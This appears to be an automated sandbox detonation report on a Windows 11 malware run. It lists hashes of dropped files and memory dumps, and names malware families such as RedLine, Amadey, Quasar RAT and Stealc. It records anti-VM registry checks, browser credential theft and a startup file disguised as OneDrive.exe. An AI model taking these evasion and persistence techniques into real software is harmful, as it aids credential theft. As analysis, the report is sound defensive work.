SHA512 053cb0c93a28f9ced41bfc39a4824c0c140416dc832edd0d5b2f1d01e608520b216b906f7a23d80766b886d0c5be6f7ef796c3088dcc15fb8a87d6cb59598098

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

MD5 4b7fdfa171d3e31eb4ea5edca3d59e49
SHA1 aa4d276355ce1892577338519ec9de478a6de244
SHA256 4772911247cf5bf58f1aa9e133a783fd158e6b1d5757b534a4baf29ddec43a34
SHA512 0fd667a8bab68e0e608e6b37b6eb212770826c58eaa6e7db61a3a8dccaafbbde397ced36c087a03f654b884affb1be75e20620adddb7883ed16fb9c93d7d829f

C:\Users\Admin\AppData\Local\Temp\pureee.exe

MD5 0006ad7b9f2a9b304e5b3790f6f18807
SHA1 00db2c60fca8aec6b504dd8fd4861a2e59a21fe9
SHA256 014d6c58dd7459c1664196ccd49b796f861d7d7e7e6c573bbb9cdc7cadc21450
SHA512 31fcde22e25be698ef2efd44cc65b758e8c9e8b62504f3254f9cc44bfaabdaa0c94cefceac12833372f8b2797b6bd0205bb9c8f1626e25ee4117d886198fb7db

memory/7048-967-0x0000024643CC0000-0x0000024643D6A000-memory.dmp

memory/7048-968-0x000002465E130000-0x000002465E23A000-memory.dmp

memory/7048-978-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-1021-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-1018-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-1016-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-1014-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-1012-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-1010-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-1008-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-1006-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-1004-0x000002465E130000-0x000002465E235000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\adada.exe

MD5 9c682f5b5000cd003e76530706955a72
SHA1 1a69da76e05d114a317342dae3e9c7b10f107d43
SHA256 36e6a3dd4bfc86c4e707f43cd9515707442d6c424b7661cb41766cfdca322522
SHA512 33bd859542e1ae74d8c81427af44022cb91861dc02ee4202505f1e010487d06cb27e1aa83be6af17be4e2d8973289595b2ebe9bdf99a187956662df30b6dc88f

C:\Users\Admin\AppData\Local\Temp\dropperrr.exe

MD5 35e7f1f850ca524d0eaa6522a4451834
SHA1 e98db252a62c84fd87416d2ec347de46ec053ebd
SHA256 2449fe334bbf8f09ff80422578a6c6961d20a0a456b214f6490c5ed1ae859c9e
SHA512 3b013378a51a29652ff84f61050b344f504ef51a51944d469b1d0e629e4abad979416a56b9cffb6cfe20b80dfbebffec35dce6f5dc10b02907dee538f9f17a01

memory/6488-2402-0x0000000000C60000-0x0000000000F84000-memory.dmp

memory/7048-1002-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-1000-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-998-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-996-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-994-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-992-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-990-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-988-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-986-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-984-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-982-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-980-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-976-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-974-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-972-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-970-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-969-0x000002465E130000-0x000002465E235000-memory.dmp

memory/7048-5015-0x000002465E2C0000-0x000002465E30C000-memory.dmp

memory/7048-5014-0x00000246459E0000-0x0000024645A36000-memory.dmp

memory/2380-5016-0x000000001D500000-0x000000001D550000-memory.dmp

memory/2380-5017-0x000000001D610000-0x000000001D6C2000-memory.dmp

memory/2380-5018-0x000000001BDD0000-0x000000001BDE2000-memory.dmp

memory/2380-5019-0x000000001D590000-0x000000001D5CC000-memory.dmp

memory/8348-5043-0x0000000000350000-0x00000000007FE000-memory.dmp

memory/8328-5045-0x00000000002C0000-0x000000000077A000-memory.dmp

memory/8348-5047-0x0000000000350000-0x00000000007FE000-memory.dmp

memory/8328-5049-0x00000000002C0000-0x000000000077A000-memory.dmp

C:\Windows\Tasks\Test Task17.job

MD5 1782b1787c479899fc6e0a1570a0367b
SHA1 7cdf85e3929487970414206be0581b40ea62d662
SHA256 105aa7812ef0fe5ffa2f4a34eaa6c44b2f2e3711bbcf2c5492a4eea712193874
SHA512 0190937d6569dab074c70b36ce4ab80a4992787e0e2d151f492be3fdaaa6afe82940f9a450881a81597c30ef16759d2f7c1473834b2f3aaa5423cc56b68c1ed5

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 41f58aaeac10090a10886b6535bea5bb
SHA1 38a6efb1ad14c6b971d48e7b963e6e8973a8aa32
SHA256 805a8fd0fc6c06bd12fab2bba0878c87722d21daa78a730d237edc0108ea27b3
SHA512 ddcdd03f61f3c5d716d9459baea52bbe15622fbba55c484c1fefb2d0913a3dab402278af30339f1658e111d79a4da15003285464173cb468906e60361ea057b0

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

MD5 cd60036d4676817b0eec7e5822975f4a
SHA1 6cf00a9d1eb6615fa5a4216a445d2c073673dfa6
SHA256 3a85c73f1c53755172bb6f28654dc999d5a90de4845f5e94f1efe092402240de
SHA512 e01a0dc99d546f4fc935a5c4fc3e0db2df575c4a419f81ea14361f506e45568b7de32be862cd46918af49b65b3a3b7b30a806a8d61539252bccfc16958b3de23

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 f1fa971ff7e35f2d63f0cfca7269c3e5
SHA1 a420024278375ae63e6c3688197cb3676cd1f6bb
SHA256 be88d37113cf12cdc5a61288048a7128a1909be6a656226c3c2fc844613f9366
SHA512 05b70cc1df254a6980f13eb54c002ce9b39f3858929127ae27ad455838ffbc8837b3a7ccd2242723d3cc5d10e3d56dcb85466d4fa831cc2c39de6077e891becc

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 641f2e13fe0d59d6ca2b5560cbac4bbb
SHA1 f2ed1419cd55b6d8354d05f5e3261be29ac1f64e
SHA256 86785a8f0f13e1f7fc521e97d0e4744add29577d8c4021f3c4b7e98d13c25a5d
SHA512 29c5d7db39d613dd67cf75789e9aa905739382da4ec7c268aa37620080cae953ef107afe20f15d72f18380a9cade1563d447b3ca9d19eb01d433bf040ed8c6c7

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 ef814ff03ea2d3828c19c4347d093e6f
SHA1 fb97105f9bfccc17c83707581ed832a68dfcf302
SHA256 39e549cceca60e51a84c502c0f93e1c0b588880f65e3b8d4ed3bdabee5c762ee
SHA512 183ac457d1163efe9213c4f6ae9b3ed97e15d2e5e8862c969b2aa08a2c86eebcb1923bc28186813f3835c71d5730200fdb42a412628368c96a136597ff320dcb

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3AA0DCD5A74331FBD6F344550EC48B87_D7025277F003EE88ED342C67F3525784

MD5 720c16d391ef70c6fe4742de4f2dae76
SHA1 89e1e7bcdbb8befea64211884e91f3f1d5ec3ade
SHA256 8d862f89114cdae890efecef58c12e3b46eaca6ffe9076c0bf35e70fe23110ce
SHA512 a5ab9f919af951d0fd05ae88188ec344ceb451e7568e1ebe8865482aeeeb7b94790b807250fc768dc5ab734c58794eae4a476edf64826c0b446a27f06e91ac76

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3AA0DCD5A74331FBD6F344550EC48B87_D7025277F003EE88ED342C67F3525784

MD5 aa6dde15dfd74bbc19bba93cee932f96
SHA1 3d48b0dd7f443b2c7a530d4c509b34c9567e4008
SHA256 a3dc9ae9ef0aed1e509b7e476403c3fcc086b165ce8cd4538c282105187b71bd
SHA512 a018446beaa7304f85730d30347bdd3cb0514f5b22c90f084392a6c032f989f395597f37904536ef25e46c9967205b4b0dd9d29e0508467d8c0bb1eb6112a475

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\18E6B4A57A6BC7EC9B861CDF2D6D0D02_EF52C1EC85F21F31CC0157A5C8803013

MD5 f1382455206b34aa38e2d8dd182fb525
SHA1 1a6a03acfd3dc66eae8e8d4ca47d07cda5cabf60
SHA256 18d04aad7e1875b8c0e8a77ced64abfa907a2cfe4d37d4ae79f25d1731bbd8e5
SHA512 edd7e0b5164be4df5c87b11e1e2bc8021bc1ba44cce39c828b6cd07fb1454772a1a8a1ed35c0068f4259ff62d1347344d3dc292b8b8470c50b38f18a35d29036

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\18E6B4A57A6BC7EC9B861CDF2D6D0D02_EF52C1EC85F21F31CC0157A5C8803013

MD5 83edb2d6ea44e4fe53fd49b7b8d17e86
SHA1 21d5952a6b7ee3cd5d68e40d57fe2e11d78e9125
SHA256 87b09d9088207ee3e2db7ad8fff1e53e661022a356e2a3ad02b1fc6cc1a93a1b
SHA512 fc478d3446ce8a5b8f78d4c53ea7f15cf4034cd70d2bfcad751dc06afa6dd30c763912f36cbb91450ab790582dee1e4f8192529d05110f70e7a1fbf16b26776b

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_93702E680A5530C052C8D2BA33A2225F

MD5 c1657c09cbf653085fe5977265c03e1d
SHA1 304d2bd99d40aa426d2620893045e7c8805f3906
SHA256 3e9b4e775c00a2fd2b1db9d5c7b4e83d6df7f3683aaba7283a8137248dad751a
SHA512 73cb77912b1482f76e4b5a091dac1f83401673f64973e458ab0a8184aba41f3c0560950c26941ea952a02cf2cde9722de726313a8820fd5daa07e06c97344f4a

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_93702E680A5530C052C8D2BA33A2225F

MD5 3b4a10987212e3b2f3d482421e0b412b
SHA1 5854fb2bf4af98f03efa4217dddb8265d0ccbe3a
SHA256 32d0b3a380dd584ee1507787c7c10b33f5095ec1d957a944acd8402ac7f776a7
SHA512 d0c1bdc86d066b965b11852ce0261f6a2e4891b255e94bf77f92f5086d9bd67a0ed3a4cee28bde925740ff4e70bafd0f63269eefeb0ed988f40a0cab0eaf4270

C:\Windows\Installer\MSIA2FD.tmp

MD5 82d54afa53f6733d6529e4495700cdd8
SHA1 b3e578b9edde7aaaacca66169db4f251ee1f06b3
SHA256 8f4894b9d19bfe5d8e54b5e120cef6c69abea8958db066cdd4905cc78ecd58b6
SHA512 22476e0f001b6cf37d26e15dfb91c826c4197603ea6e1fbb9143c81392e41f18fa10a2d2d1e25425baaf754bff7fd179ef1df34966c10985e16d9da12a445150

C:\Windows\Installer\MSIA33C.tmp

MD5 d53b2b818b8c6a2b2bae3a39e988af10
SHA1 ee57ec919035cf8125ee0f72bd84a8dd9e879959
SHA256 2a81878be73b5c1d7d02c6afc8a82336d11e5f8749eaacf54576638d81ded6e2
SHA512 3aaf8b993c0e8f8a833ef22ed7b106218c0f573dcd513c3609ead4daf90d37b7892d901a6881e1121f1900be3c4bbe9c556a52c41d4a4a5ec25c85db7f084d5e

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 e04bd2e2c6371f2997cc4aaead3ae825
SHA1 3724b1282574917e1d3be84bdd4800022c845ae8
SHA256 cdd3d12d9f319994ca8e27410ba0bc49d7cabd1111901469df232a084528f8f0
SHA512 800c399c747599e25f902f9d400939f7135b3670e55e043670cfa3763112863c095897c887af9c0992004a825d81e9e0855da9b4ccab58c91a43976779587c58

C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\setuptools-18.2.dist-info\zip-safe

MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\h38twc8p.default-release\datareporting\glean\db\data.safe.tmp

MD5 018f462769468b27bffe479ad75dfa2c
SHA1 ac69c61b0dba44ea812fb6b05a101896a7e99b97
SHA256 434c1e65df7ece89409ad16742f994614ec512398dd3f190189a18cdc93f9b62
SHA512 e35bfbee3c8fa00e996f9de0b9b80df7e31d0ff4ee4d51656429f8fef3d1c9d7e982d0c0e8b97b7f4eeea33612ece91a203340a3e4274141f5aeaf7e8e31bdb8

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe

MD5 a5b010d5b518932fd78fcfb0cb0c7aeb
SHA1 957fd0c136c9405aa984231a1ab1b59c9b1e904f
SHA256 5a137bfe1f0e6fc8a7b6957d5e9f10df997c485e0869586706b566015ff36763
SHA512 e0ca4b29f01f644ef64669ed5595965b853ae9eaa7c6c7d86df7634437041ef15ceb3c2d1ab9dec4171c80511684a7d7b06fc87b658e5a646699eb9523bc4994

memory/7128-10298-0x0000000000350000-0x00000000007FE000-memory.dmp

memory/7756-10299-0x00000000002C0000-0x000000000077A000-memory.dmp

memory/7128-10301-0x0000000000350000-0x00000000007FE000-memory.dmp

memory/7756-10309-0x00000000002C0000-0x000000000077A000-memory.dmp

C:\Config.Msi\e59a158.rbs

MD5 7191a63b3ce9686738ce5c2f40d419f0
SHA1 fcf130e5f556b2df9617bd3faa8bbe24462ab4cd
SHA256 da0b5b3a1c3e3f8ee9a584ec3df5f6efe383fe68b8f1e373c97a68fd42132339
SHA512 1ad9712bdbc6199b392c6b1e2cee1a6301d3b7140ee5f3868a0a4566c2b700940e21e5b3aff4e395be37edcf0b0479d4ef3c22dd5c5af6ed31c651b6f07f307b

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 d88254cf4b6c2d4d5a7350e47084398a
SHA1 8416b4b89cbae0874bc3873465a90f9f4d76d4dc
SHA256 32fd79894e42558860b297e5f1bd2e68131cb4db586732dd1cc4365cb1bcdcef
SHA512 c14918e57651a812d7ab19724ef2391c2afe2e6d0b232912cbb878fcc525fc89a0cc899f31e1bea240bed9305aa647c14f7cfb0ead5fd08f75260938d686659c

C:\Program Files (x86)\COMODO\Endpoint Manager\rmmlogs\Rmm_Proxy_dll.log.4

MD5 f1309090b97b0d487ce82818a1d7a516
SHA1 68cad498796e80eafec91fbc70c3d1e7c69ce6a5
SHA256 4d96b62924409ea3121165bf3e83fad3269212e683980eeb0467e25b74536ecb
SHA512 b1414dd65fc1b49093381564e92e52b14fdcc0f89843a8b5544651c1950f3ebaa40022b4ca5f17a92971f8741c308c10fbea11254b2ead8876530dc906b664c6

C:\Program Files (x86)\COMODO\Endpoint Manager\rmmlogs\Rmm_Proxy_dll.log.4

MD5 167c5a57a48989379689d62c7add867c
SHA1 9b120a391fc90b7760018c0577d628919dc5de9f
SHA256 5f962d72353e973160abcb4c479fe38a956ef8ad486489b26cd74ce34b0a55ce
SHA512 bf6139e243d16e5d3f62467a6434b265789bb2f119202a0d5559b2d3134c8febfa95deaa454bbc5e79a95ec8ce168c58afc7d56c85604f2b5cb3389e29062fd7

C:\Program Files (x86)\COMODO\Endpoint Manager\rmmlogs\Rmm_Proxy_dll.log.4

MD5 413eae11230f69c8b6246b25d049dc99
SHA1 3309c61e9ad0cec31bf1fb917795274fbb817fcd
SHA256 d835c4ad93f9addd6ff28eda95d5bfdb0813f2d0838b3931bdfa623e43755c17
SHA512 21994212a36177c76f537a0f1ecfd15354d0a19bf29e848cbbc1d19079acac596707d0a8589b0d1780d1dc157ca732db60ace6bfcfca942588ef5fac7c31af15

C:\Program Files (x86)\COMODO\Endpoint Manager\rmmlogs\Rmm_Proxy_dll.log.4

MD5 42af40be3dc0f1f0b8d2603d33ddfc12
SHA1 da5bc6844b03bb4143f538b36dbd5478b28a9831
SHA256 9e257693451056c2af601bd7a6e2b3c80585aab2f5350aee7167dacf096ab73a
SHA512 dccd57b5a982cd9ac2236a7f3fbdbb787c5a63c3d6ac6440f569d1c93b7ea1b3af6826f1a1207f7873c429557fc92f489f44155d56bf475b2c23471257777d98

C:\Program Files (x86)\COMODO\Endpoint Manager\rmmlogs\Rmm_Proxy_dll.log.4

MD5 2d79ca452999858656cdc2d45cd23194
SHA1 b85cef7d3c032d5c0d9333635963c7fb8a0b3af8
SHA256 3ee19ae86c735c1fd2ea680c0969bebd5434afc020dc01c2e7c1ea6e2e01e710
SHA512 9c284bcdf6e203ddc4965bddcb0972ed550000b1156cacfd2ea1f17f5afffd5b1138f44f72aa5f933809634ce1c5f6f20b49d422347954417761be347a8e7d8c

C:\Program Files (x86)\COMODO\Endpoint Manager\rmmlogs\Rmm_Proxy_dll.log.4

MD5 f6d5e8ad1a90c7a5144f86721f56fbc9
SHA1 9c6716603bcd72fa0e77d68cb0a7ec21e99d1edd
SHA256 75534a5d81efa79fa9154ea9cdea231a351d4bb5f908208b26bf4f58e0b8b7ed
SHA512 8428bbc9f04e6ccb3dd637bc1a226de7a30b4ac278c83cd4e8bc5241080106cd01822fe780f48f87bead22e68b22df5ff0a04ed2cda43d65bb9e8a462e8cdc47

C:\Program Files (x86)\COMODO\Endpoint Manager\rmmlogs\Rmm_Proxy_dll.log.4

MD5 7cf1090bbb29112e6f9c78f05551626c
SHA1 42bc03dfab222a14a4b7ff78f366c80c01c72e8d
SHA256 a0287f21bc6abf3335581025c60500df96b09b5f429cd6426527fbd9aa4ac9a7
SHA512 ad7fff4b2bfabe5421ab1b895b4cb94428910bd4be2bebddedb7361149eff1ad0f488eaad8fe21fedfbbe820698623b6250e9cc510333d3130fe0777381c374b

C:\Program Files (x86)\COMODO\Endpoint Manager\rmmlogs\Rmm_Proxy_dll.log.4

MD5 45fd6194eb323c22675d0f7718340e2e
SHA1 ccabdd6c5f0b5dbf28963618ce401bcc9b6178d3
SHA256 e50e572f3797210639532c14faa979c34ce257e2d59c7e3f381ba0a7002ccb19
SHA512 dff8c1601f303e128f5d13317c0487b307459127f7c944025b6fc118146c5bf72029f9c05c90bb6b732194659139610e7f17bb83a2bb0124d369bb8dd5e03011

C:\Program Files (x86)\COMODO\Endpoint Manager\rmmlogs\Rmm_Proxy_dll.log.4

MD5 c0946d82b3e76ac84898c4cae72e5522
SHA1 7fe44cc74b30caba311fe015593fb80445d9b12f
SHA256 d30184f20cf49708065c2234583955ce28954f8cf9c94eae743c1281e8f8c2cb
SHA512 3c2c9aa0dbe529c3f9c41b16fd9db5b33b501537d364516b95779f6be62a3f3e629f21b45619c89c0de8881a827d051c8348aa7b426df21f599940c80ddab27a

C:\Program Files (x86)\COMODO\Endpoint Manager\rmmlogs\Rmm_Proxy_dll.log.4

MD5 887939635ff8bfea0cc9182300882550
SHA1 0bdac45ec2e154ccd50e3fc6a916c08d9647d173
SHA256 c19da5522e13cb50bee177a82ed094b8e7920dd4f7a1bdbc55f912a5d335fcce
SHA512 5abcc2231096325ddd36dd5c3063ce772c081883d39f3ae68a4f5fbe80e2bbf5929dbe6ef1068df01180251d1f8de71b7191309df7142eff863a009a08673a9e

C:\Program Files (x86)\COMODO\Endpoint Manager\rmmlogs\Rmm_Proxy_dll.log.4

MD5 6ba294d8f4a374543f204e3ae98dfaf0
SHA1 f04ccd6e8fb8c58e2237cdb8035105384c7e36b5
SHA256 62e0761a8fb34e5806b17a29b0e887f94a07762ec52f7eeb966acee3d56e4304
SHA512 734722f6b78cdcec28b76d9a9d23e99c358df30b9c8a18c374a4c767143f86be58f42eed0d417218babff141ab4b0a19a6c9fd453d2c4179f59d6a935b7726fc

C:\Program Files (x86)\COMODO\Endpoint Manager\rmmlogs\Rmm_Proxy_dll.log.4

MD5 bac19f0bda38cf64b21ba450c0327627
SHA1 2269226871c71c2d78a3abbd4e736743bde6325f
SHA256 5c76baf3cf258e142c630d1604ddb9b2b07d6c06c8cbccea0800fd7cae3cc214
SHA512 07809eaeeaefbcc64f6fa6eea35bebc4de84c154f98c6c1a42933333d49692bfa0697aeca753f9d02c4590f67b9d6bff19ddc795b505c45a28eb429e2c90100c

memory/8204-10736-0x0000000002D10000-0x0000000002D46000-memory.dmp

memory/8204-10739-0x00000000057A0000-0x0000000005DC8000-memory.dmp

memory/8204-10740-0x0000000005E50000-0x0000000005E72000-memory.dmp

memory/8204-10751-0x0000000006040000-0x0000000006394000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2tj1igwh.dme.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/8204-10741-0x0000000005EF0000-0x0000000005F56000-memory.dmp

memory/8204-10753-0x0000000006630000-0x000000000667C000-memory.dmp

memory/8204-10752-0x0000000006600000-0x000000000661E000-memory.dmp

memory/8204-10755-0x00000000650A0000-0x00000000650EC000-memory.dmp

memory/8204-10765-0x0000000006C20000-0x0000000006C3E000-memory.dmp

memory/8204-10766-0x0000000007830000-0x00000000078D3000-memory.dmp

memory/8204-10754-0x0000000006BB0000-0x0000000006BE2000-memory.dmp

memory/8204-10768-0x0000000007920000-0x000000000793A000-memory.dmp

memory/8204-10767-0x0000000007F60000-0x00000000085DA000-memory.dmp

memory/8204-10769-0x0000000007990000-0x000000000799A000-memory.dmp

memory/8204-10781-0x0000000007B20000-0x0000000007B31000-memory.dmp

memory/8204-10770-0x0000000007BA0000-0x0000000007C36000-memory.dmp

memory/8204-10799-0x0000000007B70000-0x0000000007B84000-memory.dmp

memory/8204-10798-0x0000000007B60000-0x0000000007B6E000-memory.dmp

memory/8204-10800-0x0000000007C60000-0x0000000007C7A000-memory.dmp

memory/8204-10801-0x0000000007C40000-0x0000000007C48000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-31 01:26

Reported

2024-07-31 01:29

Platform

win11-20240730-en

Max time kernel

149s

Max time network

152s

Command Line

C:\Windows\Explorer.EXE

Signatures

Amadey

trojan amadey

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A

Stealc

stealer stealc

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 1180 created 3188 N/A C:\Users\Admin\AppData\Local\Temp\_MEI62442\Blsvr.exe C:\Windows\Explorer.EXE
PID 1180 created 3188 N/A C:\Users\Admin\AppData\Local\Temp\_MEI62442\Blsvr.exe C:\Windows\Explorer.EXE
PID 1180 created 3188 N/A C:\Users\Admin\AppData\Local\Temp\_MEI62442\Blsvr.exe C:\Windows\Explorer.EXE

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1000030001\028058e168.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A

Downloads MZ/PE file

Stops running service(s)

evasion execution

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1000030001\028058e168.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1000030001\028058e168.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.exe C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.exe C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000020001\57b802a7d7.exe N/A
N/A N/A C:\Users\Admin\1000029002\5337807864.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000030001\028058e168.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
